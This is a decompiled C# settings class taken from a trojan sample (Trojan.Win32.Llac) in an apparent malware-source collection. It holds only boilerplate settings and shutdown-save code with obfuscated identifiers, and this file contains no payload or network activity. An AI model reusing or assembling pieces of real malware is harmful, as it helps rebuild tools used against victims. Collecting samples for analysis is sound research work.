MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2/Stub/My/MySettings.cs
2022-08-18 06:28:56 -05:00

76 lines
2.3 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Stub.My.MySettings
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe
using \u0005;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Threading;
namespace Stub.My
{
[CompilerGenerated]
[EditorBrowsable(EditorBrowsableState.Advanced)]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings \u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
private static bool \u0001;
private static object \u0001 = RuntimeHelpers.GetObjectValue(new object());
[DebuggerNonUserCode]
[EditorBrowsable(EditorBrowsableState.Advanced)]
private static void \u0002(object sender, EventArgs e)
{
if (!\u0001.\u0002().SaveMySettingsOnExit)
return;
// ISSUE: reference to a compiler-generated method
\u0003.\u0002().Save();
}
public static MySettings Default
{
get
{
if (!MySettings.\u0001)
{
object Expression = MySettings.\u0001;
ObjectFlowControl.CheckForSyncLockOnValueType(Expression);
Monitor.Enter(Expression);
try
{
if (!MySettings.\u0001)
goto label_4;
label_3:
if (true)
goto label_6;
label_4:
\u0001.\u0002().Shutdown += (ShutdownEventHandler) ((sender, e) =>
{
if (!\u0001.\u0002().SaveMySettingsOnExit)
return;
\u0003.\u0002().Save();
});
MySettings.\u0001 = true;
goto label_3;
}
finally
{
\u0096.\u008B\u0002(Expression);
}
}
label_6:
return MySettings.\u0001;
}
}
}
}